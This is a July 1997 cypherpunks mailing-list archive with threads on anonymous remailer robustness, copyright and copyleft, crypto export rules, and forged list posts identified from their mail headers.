But most e-mail requests to the company ask for advice about blocking
sites, not unblocking them, he said. 

"It's about 100 to one," he said. 

For now, sponsors of the Sussex County Fair aren't overly concerned
about children being unable to scroll through the festival's web site. The
site is a little more than a year old, but the fair doesn't rely on it for
promotions, said spokeswoman Kathleen Cafasso. 

Dropping the web site address's reference to Sussex which, like the
similar county names, is derived from the Saxons of old England isn't
an option, Cafasso said. 

"We wouldn't even consider it," she said. "It's not worth the lack of
identification." 








From sunder at brainlink.com  Wed Jul  2 11:01:15 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 3 Jul 1997 02:01:15 +0800
Subject: ** INNOVATIONS: SPYING SAUCER ** (fwd)
Message-ID: 




---------- Forwarded message ----------
Date: Wed, 2 Jul 1997 00:16:51 -0400
From: Salvatore Denaro 
Subject: ** INNOVATIONS: SPYING SAUCER **

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

** INNOVATIONS: SPYING SAUCER **

Sikorsky Aircraft in Stratford, Conn., has designed and built a small,
round rotary-wing pilotless aircraft that can locate and follow objects,
flying down urban streets or peeping into windows.  The Cypher is
propelled by two rigid motors, one above the other, that revolve in
opposite directions.  The outside shell of the aircraft is rounded, like
a donut, giving the machine some protection when it bumps into tree
branches, or the sides of buildings. It can stay aloft for about two and
a half hours, using advanced software made by Lockheed Martin and
Northrup Grumman to find and trail enemy soldiers, or scout out an urban
setting for potential sharpshooters.  A video camera mounted on the
aircraft can peer through windows when engineers on the ground signal the
Cypher to land on a nearby rooftop.  "The beauty of Cypher," says the
aircraft's project leader, "is that it can fly low and slow."
(Scientific American Jun 97)  

- --
Salvatore Denaro
sal at panix.com

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From nobody at huge.cajones.com  Wed Jul  2 12:19:37 1997
From: nobody at huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 03:19:37 +0800
Subject: Column, July 8
Message-ID: <199707021858.MAA28995@wombat.sk.sympatico.ca>



Vin Suprynowicz wrote:
>     FROM MOUNTAIN MEDIA
>     FOR IMMEDIATE RELEASE DATED JULY 8, 1997
>     THE LIBERTARIAN, By Vin Suprynowicz
>     When did we start valuing 'stability' over 'freedom'?
 
>     Did anyone else watch in disbelief the televised "celebration" of the
> humiliating surrender of the free city of Hong Kong to a bloodthirsty,
> totalitarian slave state on June the 30th?
...
>   In fact, in all the coverage I watched, the word "freedom" was never used
> once ... ranking right up there with another unheard word, "Communist."
> 
>   I swear to you, despite multiple respectful references to the "People's
> Liberation Army" (which appeared to have suited up in powder blue uniforms,
> like extras in a James Bond film, for the occasion) there was not one use
> of the word "Red" or "Communist." I was actually starting to picture an NBC
> news anchor in Hungary in 1956 smilingly reporting, "A great sigh of relief
> is being heard here as the People's Liberation tanks return, guaranteeing
> at least another decade of 'stability'."
...
>    A news clip gave us the city's new Red party boss, the day before, being
> asked whether the new regime would tolerate demonstrations and freedom of
> speech.
> 
>   "We may tolerate some freedom of speech," he said in his kindly,
> avuncular way, "depending on what they try to say."
> 
>   Now there's a definition of freedom to warm the hearts of Roberta
> Achtenburg, Janet Reno, and Louis Freeh.

> ***
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  "We may tolerate some breathing," Janet Reno said in her kindly,
avuncular way, "depending on who tries to breathe."

  "We may tolerate some Assassination Politics," Louis Freeh said
in his kindly, avuncular way, "depending on who they are attempting
to assassinate."

  "We may tolerate some flaming," Sandy Sandfort said in his kindly,
avuncular way, "depending on who they are flaming."

  "We may tolerate some truth," TruthMonger said in his kindly,
avuncular way, "depending on what they are trying to monger."

D r .  R o b e r t s
~~~~~~~~~~~~~~~~~~~~






From paul at fatmans.demon.co.uk  Wed Jul  2 12:33:28 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 3 Jul 1997 03:33:28 +0800
Subject: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: 




>  As a recording musician I expected to get money for my recordings,
> just as everyone else in the chain of business did in making my
> music available to the end-user. (And just as a grocer who makes
> food available to his customers expects you to leave something in
> the till on your way out of the store.)

You draw incorrect paralells between the physical medium and the data 
encoded on it.

>  I have never had any problem with someone recording a copy of my
> music from a purchased copy if they are a music lover with a thin
> pocket, or can't readily purchase it. If someone with a $2000.00
> stereo wants to enjoy the fruits of my labor without contributing
> any money to my health and welfare, then I consider them to be just
> another thief.

Theivery doesn`t come into it, you simply have no property rights over 
your speech. I can "say" whatever I want, that includes "saying" the same 
set of bits on a CD made by you, onto a tape or minidisc. Because MD and 
DAT are not yet common, and as Tim pointed out most consumer DAT boxes 
don`t copy original CDs or DATs, copying is less widespread than it could 
be; if I like an Artists work or a particular album I will buy it on CD 
because the quality is higher than copying to tape, and I don`t have a 
DAT machine (even if I did I wouldn`t find it useful as my main stereo is 
in my car). I don`t just say this; I do it, I have a lot of copied music 
which I listen to occasionally but all my favourite stuff (my large-ish 
collection of jazz and blues) is on original CD.

>   Buy it, if at all possible. If you download a copy on the net
> and can't afford $99.00, then send them $10.00, or $20.00, etc.
> If you can't afford to send them a nickle, then do what you can
> to promote their product. Provide pointers to their business,
> tell people about their products, etc.

I agree with this sentiment entirely: Copyright is not something to be 
enforced or condoned but if you do use someones work think about at least 
giving credit or making a donation on a voluntary basis, for one thing it 
helps stimulate the market.

>   Technology may well enable us to take the product and give
> nothing in return to those who made it available, but doing so
> will not further our own beliefs and aims to any extent.

Again, this is the right way to think of "intellectual property", not as 
real tangiable property which can, or even should be protected, but as a 
bond of trust between provider and end user, if you rip off a copy of my 
s/w and decide you like it, why not buy a copy? The same is true of 
music, source code, hard-copy books etc...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From stephen at iu.net  Wed Jul  2 12:35:50 1997
From: stephen at iu.net (Stephen Cobb, CISSP)
Date: Thu, 3 Jul 1997 03:35:50 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970702153109.00738038@iu.net>



At 10:56 AM 6/29/97 -0700, you wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>It is supposed to be shipping in July.

Thanks for the tip. Sounds great. I just ordered mine.

Readers accustomed to "instant gratification" are warned that the publisher
is now saying "you should receive it by August 1."

Stephen






From randerso at ece.eng.wayne.edu  Wed Jul  2 12:38:14 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 3 Jul 1997 03:38:14 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: 



On Wed, 2 Jul 1997, Kent Crispin wrote:

> The Evil One can always masquerade as the next to the last remailer, 
> with suitably altered date fields or whatever.  I wasn't thinking in 
> terms of traffic analysis -- I was thinking in terms of guaranteeing 
> that the last remailer in the chain, the one that actually delivers 
> the message, cannot be predicted in advance.

Well, to make the remailers more intelligent, have them count incoming
mail from the list of remailers participating in the system.  (either that
or a rate)  when one remailer seems to be sending much more mail than the
others (which shouldn't happen if all remailers are randomly distributing
the mail to each other)  you automatically do the random forward to
another remailer.

There still exists a problem if a coordinated attack on the whole system
occurs, with large amounts of mail seeking to discredit a group of
remailers at once...

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From sunder at brainlink.com  Wed Jul  2 13:02:20 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 3 Jul 1997 04:02:20 +0800
Subject: This was forged:: Re: This is NOT trespassing.
In-Reply-To: 
Message-ID: 



Looking through a shitload of old messages, looks like someone decided to
write some mail in my own name.  Carefully looking at the headers shows
that this was sent through torfree.net or something, and didn't orginate
here.

Too bad I didn't spot this earlier...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================


 =============================


 From sunder at brainlink.com Sat Jun 14 09:46:14 1997
Received: from mail.torfree.net (root at danforth.torfree.net [199.71.188.17]) by beast.brainlink.com (8.8.5/8.6.12) with SMTP id JAA03645 for ; Sat, 14 Jun 1997 09:46:13 -0400 (EDT)
From: Ray Arachelian 
Received: from brainlink.com ([153.35.233.146]) by mail.torfree.net
						^^^^^^^^^^^^^^^^^^^
	(/\==/\ Smail3.1.28.1 #28.8; 15-jan-97)
	via sendmail with smtp id 
	(sender sunder at brainlink.com)
	for ; Sat, 14 Jun 97 09:43 EDT
Message-Id: 
Date: Sat, 14 Jun 97 09:43 EDT
Apparently-From: 
Apparently-To: 
Subject: This is NOT trespassing.
Comment: Authenticated sender is 
Status: RO
X-Status: 

Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

>>>>>>>  WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT?  <<<<<<<

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  









From kent at songbird.com  Wed Jul  2 13:11:50 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 3 Jul 1997 04:11:50 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <19970702125735.31906@bywater.songbird.com>



On Wed, Jul 02, 1997 at 09:00:04AM -0700, Tim May wrote:
> At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
> 
> >This probably has been suggested 20 years ago, but wouldn't Jeff's
> >problem have been solved if the following slight modification were
> >made to the algorithm: If you are the last remailer in a chain, then
> >with probability p you pick another randomly choosen remailer to send
> >through.  If p is 1 end user mail would never come from you; if p is
> >0.5 then half the time you send the mail on one more step.  The end
> >user, then, can never be sure of which remailer will ultimately
> >deliver the message.
> ...
> 
> This general sort of thing has been discussed...though not 20 years ago! :-0

Just teasing. 

> I don't know about this particular mathematical algorithm, but things
> generally like it.
> 
> Long before a remailer shuts down, he should certainly adopt a strategy
> like this. Sending "his" traffic through randomly selected other remailers
> is certainly an option. (Any remailer can at any point insert additional
> hops, or even chains of hops, merely be addressing them correctly. Of
> course, the "original" (which may not be the real original, of course, as
> other remailers may have done the same thing) needs to "get back on track,"
> else the decryptions won't work. But this is all a simple problem.

I don't think it is so simple.  It is, as you say, easy to add
interior hops, but they don't do the remailers any good -- they add
cover for the end user only.  It is the "exterior edge" remailers that
are at risk, and such a remailer has no easy way of knowing if it was 
selected at random, or was chosen as a specific target.  At least, I 
can't think of an easy way.  A particular remailer may have cohorts 
it trusts to be sources of random selection, but remailer trust is a 
flimsy foundation.

> I don't know what gets discussed on the "remailer operators list," not
> being on it, but it sure seems to me that remailers have stagnated, and
> that some of the robust methods of reducing attacks on any particular
> remailer are not being used.

It's a problem with any infrastructure, though -- once it is in 
place, change becomes hard.

The next generation remailer infrastructure should support a great
many remailers, and it should be impossible to target any single
remailer.   The infrastructure as a whole should be resistant to 
attack. 

This seems to imply 1) that remailers be small, cheap, easy to install
and run, 2) mail volume through any particular remailer should be
small, 3) the infrastructure should support transient remailers -- I
guess that is just a particular of a general robustness requirement;
4) the infrastructure should support volume restrictions from source
addresses -- for example, allow only 1 message per day from a
particular address.

Also, the "routing algorithm" should involve two stages -- the first
stage should be for the benefit of and controlled by the end user, to
bury the message in the network so that it can't be traced (unless a
secure retrace path is built in to the message).  The second stage is
for the benefit of the remailers, and controlled by them.  During the 
first stage the message is masked, and the destination address is 
unavailable, during the second stage the message is unmasked, and the 
destination address and message (probably) are clear, and the 
remailer network is trying to decide which remailer to make the final 
delivery.  (When I say "unmasked" I mean only at the remailer node -- 
not in transit -- the message is *always* encrypted in transit.)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From sunder at brainlink.com  Wed Jul  2 13:19:22 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 3 Jul 1997 04:19:22 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970702153109.00738038@iu.net>
Message-ID: 



On Wed, 2 Jul 1997, Stephen Cobb, CISSP wrote:

> Thanks for the tip. Sounds great. I just ordered mine.
> 
> Readers accustomed to "instant gratification" are warned that the publisher
> is now saying "you should receive it by August 1."

I just ordered mine, they said mid July...  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From 78173518 at arosnet.se  Thu Jul  3 05:12:37 1997
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Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
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From 78173518 at arosnet.se  Thu Jul  3 05:12:37 1997
From: 78173518 at arosnet.se (78173518 at arosnet.se)
Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>


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Phone #(___)____  -________   *Email_________________________________

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Date: Thu, 3 Jul 1997 05:13:12 -0700 (PDT)
Subject: URGENT:  I think I owe you some money!!!
Message-ID: <24612350_90050937>



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From stutz at dsl.org  Wed Jul  2 14:16:10 1997
From: stutz at dsl.org (Michael Stutz)
Date: Thu, 3 Jul 1997 05:16:10 +0800
Subject: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: 
Message-ID: 



On Wed, 2 Jul 1997, Paul Bradley wrote:

> >   Technology may well enable us to take the product and give
> > nothing in return to those who made it available, but doing so
> > will not further our own beliefs and aims to any extent.
> 
> Again, this is the right way to think of "intellectual property", not as 
> real tangiable property which can, or even should be protected, but as a 
> bond of trust between provider and end user, if you rip off a copy of my 
> s/w and decide you like it, why not buy a copy? The same is true of 
> music, source code, hard-copy books etc...

This is why I favor copylefting all information, software and otherwise. If
a computer program is copyrighted it cannot be easily shared or improved,
while copyleft encourages this. Same for music, texts and other works -- if
a song is released under the terms of the GNU GPL or similar copyleft, I am
free to copy and modify that song as I see fit, which includes making DATs,
burning my own CDs and performing improvisations to the song (whose
transcriptions could be likened to its "source code," of which I am free to
improve upon as I see fit). The artist can be supported by purchasing hard
copy of the music (CDs etc) from her/him, as well as posters, t-shirts and
other paraphernalia (as well as outright donation), but I am no longer
restricted by the scourge of copyright law and the fictitious construct of
"intellectual property" in my thoughts and communications about the work; I
am free to share my thoughts and communications with others.


Michael Stutz
http://dsl.org/m/






From wesley at binarycompass.com  Wed Jul  2 14:17:50 1997
From: wesley at binarycompass.com (Wesley Felter)
Date: Thu, 3 Jul 1997 05:17:50 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <1344269781-47438381@mail.binarycompass.com>



On 7/2/1997 10:10 AM, Paul Bradley said:

>> A simpler solution (which I believe was used for Unix distribution
>> CD's) would be to encrypt the naughty bits using a strong algorithm,
>> say 56 bit DES :-), but only distribute the decryption key to
>> USA/Canadian citizens. If you could get this past the Export people,
>> you could make a single CD available world-wide. Don't forget to
>> escrow the key with the French authorities.
>
>If someone made such a CD, then someone who obtained it within the US 
>posted the key so people outside US/Canada could decrypt the data, who 
>would be charged with exporting the software? Could there even be a case 
>for charging anyone, after all, keys are not covered in the export regs????
>It`s probably a moot point anyway as I doubt such a CD would be given an 
>export licence.

Which reminds me of...
Netscape can export 40-bit versions of Communicator, and according to one 
of their own employees (search back in the archives if you don't believe 
me) the only difference between the 40-bit version and the 128-bit 
version is a license file. Now license files aren't covered in export 
regulations, are they? So it's legal to export the 40-bit version of 
Communicator (which contains disabled 128-bit crypto) and it's legal to 
export the license file. Sounds like it's either not true or the 
government is stupider than I thought or the government is tired of 
trying to enforce such futile laws.

Wesley Felter - wesley at binarycompass.com - Binary Compass Enterprises
In BizRate we trust - 
Disclaimer: My employer knows I'm crazy.






From nobody at huge.cajones.com  Wed Jul  2 14:52:54 1997
From: nobody at huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:52:54 +0800
Subject: Liberating the Bits
Message-ID: <199707022134.PAA16117@wombat.sk.sympatico.ca>



Michael Stutz wrote:
> On Tue, 1 Jul 1997, Tim May wrote:
> 
> > Technology liberates the bits.
> 
> Copyright law is not only useless on the net but inefficient; one need only
> compare the performance of free, copylefted software versus proprietary,
> closed software to see which is better. But now it is possible to apply the
> same principle of copyleft to _all_ non-software information, too --
> including text, images and music. I have done this myself with novels and
> albums of music, and have posted full instructions on how to apply this to
> non-software information at .

  Tim gave excellent information on how one can go about using 
technology to enjoy the fruits of other people's labour without 
contributing toward the survival of those producing the things
he enjoys.
 (I, being more niggardly, will refuse to share a technique I developed
for stealing money from a blind beggar's cup and candy from a child's
Halloween bag.)

  Michael is right about technology and the InterNet now making it
possible to circumvent the principle represented by copyright law.
  When I originally came up with the concept of BlackNet and 
anonymous remailers, I foresaw that my invention of Public Key
Cryptography might help make it possible for ordinary people to reap
the benefits of other peoples' ideas and hard work, without doing
anything to contribute toward the survival of creative, productive
people.

  Although a person *can* enjoy the product of other peoples' efforts
without contributing toward the production of that product, the decision
as to whether they *should* do so should not be taken lightly.
  I believe that we live in a predatorial universe and that everything
we do involves some form of "eating" the life forms around us, whether
we do so physically, emotionally, or mentally. Whether the process
involves hunting what already exists, or growing new life forms by
farming, our future quality of life will depend on the quality of 
resource management done by ourself and others.

  There is undoubtedly an increased cost for certain software, music
albums, etc, because of the theft and coercion of the companies that
dominate an industry (via bribes, collusion, political donations),
but there is also a fixed cost that needs to be met for these products
to continue existing and developing.
  There is also a minimum level of sustenance needed by those who
produce the products we use, and if this is not met, then they cease
producing those products. If you copy George Strait's albums without
putting a few pennies in his pocket, it is not likely to inhibit his
market enough to matter, but if you do the same with an album by a
group who is living in a station-wagon between gigs, then you might
find yourself wondering "What ever happened to 'Psychotic Losers'?"
  I bought Microsoft Word because I like the product and use it
a lot. Other Microsoft programs that I use occassionally, I just
grab a copy from someone else because it's not worth my while
to pay big money for it and I don't want to waste my time and effort
using a product which doesn't fit into their proprietary scheme.
  (I apply the same standards to stealing children's Halloween candy.
I only steal from fat kids, and I don't take the whole bag. I want
to make it worth their while to go trick-or-treating next year.)

  I can understand that Tim May wants to hang on to the mountain of
cash that was made possible by his company's software copyrights, 
but I am surprised that he seems so boastful about denying others
any compensation for their ideas, talent, and labour.

  The Internet seems to be moving proprietary software more toward
a shareware/freeware attitude, since some companies are seeing the
benefit of making their product widely available. An example is
Microsoft making a file available for people without their product
to read the documents produced with it.
  I suspect that the technology which allows most information to
be set free from the bondage of copyright will lead to a more 
balanced playing field where it is harder for a company to keep
their prices artificially high by virtue of market domination
and political pull, but there will always remain a need for those
who create and produce to receive compensation for doing so.

There's something wrong when Janet Reno is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
TruthMonger #1              | Crypto Anarchy: encryption, digital money,
tm at dev.null    408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."






From nobody at huge.cajones.com  Wed Jul  2 14:53:03 1997
From: nobody at huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:53:03 +0800
Subject: Good Cop/Bad Cop
Message-ID: <199707022134.PAA16114@wombat.sk.sympatico.ca>



sampler-request at lmboyd.com wrote:
> ======================================================

>  TV ratings now indicate more people hate outlaw
> characters and admire police characters. Curiously,
> though, the police they admire most are the ones who act
> like outlaws."

> ==============================================
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm

  The above apparently applies to politicians, as well.

TruthMonger







From nobody at REPLAY.COM  Wed Jul  2 14:53:39 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 05:53:39 +0800
Subject: Degaussing
Message-ID: <199707022138.XAA23892@basement.replay.com>



> At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >>
> >>Could someone please point me to a FAQ or somesuch about degaussing
> >>magnetic media? Thank you!
> >
> >Electromagnetic pulse.  You want something as strong as possible.  About 10
> >megatons should generate a big enough pulse.

  When using the above method, it is best performed in Washington, D.C.







From stewarts at ix.netcom.com  Wed Jul  2 16:37:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 3 Jul 1997 07:37:52 +0800
Subject: Return of Huge Cajones Remailer
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <3.0.2.32.19970702161745.03104c54@popd.ix.netcom.com>



I was interested to see the following headers in a posting to the net.
It's _pretending_ to be from the now-defunct huge.cajones.com remailer,
though it's in fact from Canada.


=================== HEADERS =========
Return-Path: 
Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2]) by
ixmail8.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id OAA10170; Wed, 2 Jul 1997 14:49:48 -0700 (PDT)
Received: (from majordom at localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28296 for cypherpunks-outgoing; Wed, 2 Jul 1997 14:41:51 -0700 (PDT)
Received: (from cpunks at localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28278 for cypherpunks at infonex.com; Wed, 2 Jul 1997 14:41:43 -0700 (PDT)
Received: from rigel.cyberpass.net (root at rigel.infonex.com [206.170.114.3])
by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id OAA28270 for
; Wed, 2 Jul 1997 14:41:40 -0700 (PDT)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.cyberpass.net
(8.8.5/8.7.3) with ESMTP id OAA18801 for ; Wed,
2 Jul 1997 14:39:54 -0700 (PDT)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id OAA08059
for cypherpunks-unedited-outgoing; Wed, 2 Jul 1997 14:37:28 -0700 (PDT)
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id OAA08053 for
; Wed, 2 Jul 1997 14:37:23 -0700 (PDT)
Received: from smtp.sk.sympatico.ca (lohner48.sk.sympatico.ca
[142.165.98.48]) by wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id
PAA16117 for cypherpunks at toad.com; Wed, 2 Jul 1997 15:34:01 -0600 (CST)
Message-Id: <199707022134.PAA16117 at wombat.sk.sympatico.ca>
Date: Wednesday, 02 Jul 97 15:37:06 EST
To: cypherpunks at toad.com
From: nobody at huge.cajones.com (BigNuts)
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: This message contains no headers. If you think you see
X-Comments: something here, it's probably just the drugs kicking in.
X-Comments: Ignore it...
X-Comments: -
X-Comments: This message is NOT from .
X-Comments: It was remailed by an automated anonymous asshole.
X-Comments: Send all complaints and requests for blocking to 
X-Comments: .
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None
X-Remailer-Setup: Reordering is OFF
X-Remailer-Setup: News Posting DISABLED
X-Remailer-Setup: Subject Header KEPT
X-Remailer-Setup: Logging OFF
X-Remailer-Setup: PGP and plaintext messages accepted
Subject: Re: Liberating the Bits
Sender: owner-cypherpunks at cyberpass.net
Precedence: bulk
Reply-To: nobody at huge.cajones.com (BigNuts)
X-List: cypherpunks at cyberpass.net
X-Loop: cypherpunks at cyberpass.net

======== END OF HEADERS ==========

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From ssandfort at ATTMAIL.COM  Wed Jul  2 16:40:08 1997
From: ssandfort at ATTMAIL.COM (Sandy Sandfort)
Date: Thu, 3 Jul 1997 07:40:08 +0800
Subject: Liberating the Bits
Message-ID: <199707022250.QAA25437@wombat.sk.sympatico.ca>



BigNuts wrote:
>  I can understand that Tim May wants to hang on to the mountain of
>cash that was made possible by his company's software copyrights, 
>but I am surprised that he seems so boastful about denying others
>any compensation for their ideas, talent, and labour.

  I have to agree with Tim that ideas have no worth and we should
not compensate those that share them. Once anything is made public
it should be up for grabs by anyone who wants to use it for any
purpose they desire.
  Enforcement of copyright laws only denies the world access to
such treasures as "Cyhpernomicon" by Toto, which I recently 
found on a few websites. It had pointers to where one could
purchase the "Official CypherPunk" T-shirts and mugs, as well
as information about how to make donations to Toto's "GreenPeace"
foundation.

"All your private property is target for your enemies."
   -Jefferson Airplane

There's something wrong when Kent Crispin is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Sandy Sandfort            | Crypto Anarchy: encryption, digital money,
ssandfort at ATTMAIL.COM     | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA| knowledge, reputations, information markets,
Higher Power: 2^1398269   | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."






From ulf at fitug.de  Wed Jul  2 16:51:18 1997
From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 07:51:18 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: 
Message-ID: 



I agree that there has been a certain stagnation, but I think things
are going up again -- despite of the recent attack.

There are three reliable nym servers in operation (nym.alias.net,
weasel.owl.de, and redneck), and I understand that people are working
on an improved system. There are at least three mail2news gateways,
and Mixmaster remailers in at least four different countries (6 in the
US, two in Germany, one each in the Netherlands, Canada and the UK,
and two at unknown locations). Four of these have started operation
last month -- hopefully others will follow.

Not to forget the Geoff Keating's remailer applet, and a new web page
with remailer statistics and reliability information that will be
announced soon.

Mixmaster 2.0.4, which is in beta test at four remailers, has the
option to forward messages to a randomly selected remailer if used as
the last hop (as Kent describes it, but it is known in advance whether
a remailer will deliver a message directly, to avoid mail being
bounced around infinitely.) Version 2.0.4 will be released soon; see
http://www.thur.de/ulf/mix/ for information about the current beta.

Cypherpunk remailers have been in operation for five years now. The
remailer network has survived attacks by the Church of Scientology and
by others. The recent incidents are annoyig, but there is no reason
for dispair because of a bunch of bozos. As our friend Paul Strassman
put it: "Conclusion: Anonymous re-mailers are here to stay. Like in
the case of many virulent diseases, there is very little a free
society can do to prohibit travel or exposure to sources of
infection."



Tim May wrote:

>At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
>
>>This probably has been suggested 20 years ago, but wouldn't Jeff's
>>problem have been solved if the following slight modification were
>>made to the algorithm: If you are the last remailer in a chain, then
>>with probability p you pick another randomly choosen remailer to send
>>through.  If p is 1 end user mail would never come from you; if p is
>>0.5 then half the time you send the mail on one more step.  The end
>>user, then, can never be sure of which remailer will ultimately
>>deliver the message.
>...
>
>This general sort of thing has been discussed...though not 20 years ago! :-0
>
>I don't know about this particular mathematical algorithm, but things
>generally like it.
>
>Long before a remailer shuts down, he should certainly adopt a strategy
>like this. Sending "his" traffic through randomly selected other remailers
>is certainly an option. (Any remailer can at any point insert additional
>hops, or even chains of hops, merely be addressing them correctly. Of
>course, the "original" (which may not be the real original, of course, as
>other remailers may have done the same thing) needs to "get back on track,"
>else the decryptions won't work. But this is all a simple problem.
>
>I don't know what gets discussed on the "remailer operators list," not
>being on it, but it sure seems to me that remailers have stagnated, and
>that some of the robust methods of reducing attacks on any particular
>remailer are not being used.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."






From ulf at fitug.de  Wed Jul  2 17:03:34 1997
From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 08:03:34 +0800
Subject: Cooper/Birman message service / IBM's anonymous remailer
Message-ID: 



I have been pointed to a paper that addresses the problem of receiving
messages anonymously without using a return path:

 David A. Cooper, Kenneth P. Birman: Preserving Privacy in a Network of
 Mobile Computers. IEEE symposium on Security and Privacy, May 1995.
